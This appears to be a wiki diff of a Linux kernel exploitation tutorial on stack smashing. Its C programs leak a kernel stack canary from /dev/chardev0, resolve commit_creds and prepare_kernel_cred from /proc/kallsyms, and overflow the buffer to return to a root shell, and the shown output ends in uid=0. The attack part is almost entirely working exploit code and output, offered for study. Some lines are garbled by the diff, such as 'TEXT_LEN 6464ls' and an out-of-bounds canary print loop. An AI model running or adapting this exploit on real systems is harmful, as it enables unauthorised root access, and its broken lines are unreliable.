Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titletest.c
//gcc -static -o test test.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
  
#define TEXT_LEN 64
  
int main()
{
    static char buf[128];
    int fd;
   
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }
   
    memset (buf, 'A', TEXT_LEN);
 
    if (read(fd, buf, TEXT_LEN) < 0){
        printf("An error occurred in the read.\n");
    }else{
        printf("%s\n", buf);
    }
  
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...

Code Block
languagecpp
titleleak.c
//gcc -static -o leak leak.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define TEXT_LEN 64

int main()
{
    static char buf[512]; 
    char canary[8];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 84;i++){
		printf("%02x ",canary[i] & 0xff);
 	}
    printf("\n");

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...

Code Block
languagecpp
titleRestore the stack pointer
//gcc -masm=intel -static -o exploit exploit.c
struct trap_frame {
    void * eip;
    uint32_t cs;
    uint32_t eflags;
    void * esp;
    uint32_t ss;
} __attribute__((packed));
struct trap_frame tf;

void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &getShell ;
    tf.esp -= 1024; 		// unused part of stack
}

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
}
...

...

Code Block
titleGet shell
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test5exploit 
commit_creds address is :0xc1082b60
prepare_kernel_cred address is :0xc1082e20
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

9f 62 5f 66 60 e1 4c f8 90 5f cb f4 a0 bf 0e 08  | ?b_f`?L??_????
5c 5f cb f4 5f e8 1a c1 90 5f cb f4 40 75 f5 e4  | \_??_???_??@u??
canary is :9f 62 5f 66 
# id
uid=0(root) gid=0(root) groups=0(root)
# 

...

Code Block
languagecpp
titleexploit.c
//gcc -masm=intel -static -o exploit exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

#define TEXT_LEN 6464ls

struct trap_frame {
    void * eip ; 		// instruction pointer
    uint32_t cs ; 		// code segment
    uint32_t eflags ; 		// CPU flags
    void * esp ; 		// stack pointer
    uint32_t ss ; 		// stack segment
} __attribute__((packed));
struct trap_frame tf;

void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &getShell ;
    tf.esp -= 1024; 		// unused part of stack
}

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
}

unsigned long kallsym_getaddr(const char* str)
{
    FILE *stream;
    char fbuf[256];
    char addr[32];

    stream = fopen("/proc/kallsyms","r");
    if(stream < 0)
    {
        printf("failed to open /proc/kallsyms\n");
        return 0;
    }

    memset(fbuf,0x00,sizeof(fbuf));
	
    while(fgets(fbuf,256,stream) != NULL)
    {
        char *p = fbuf;
        char *a = addr;

        if(strlen(fbuf) == 0)
            continue;

        memset(addr,0x00,sizeof(addr));
        fbuf[strlen(fbuf)-1] = '\0';

        while(*p != ' ')
            *a++ = *p++;

        p+=3;
	if(!strcmp(p,str))
            return strtoul(addr, NULL, 16);
    }
    return 0;
}

int main()
{
    static char buf[128],rop[128]; 
    char canary[4];
    int fd,i,j;

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 
 
    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++){
		printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");

    //Exploit code
    memset(rop, 'A', 64);
    memcpy(rop+64, canary, 4);
    memset(rop+68, 'B', 16);
    *((void**)(rop+84)) = &payload;

    prepare_tf();

    //Overflow
    write(fd, rop, 88);
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...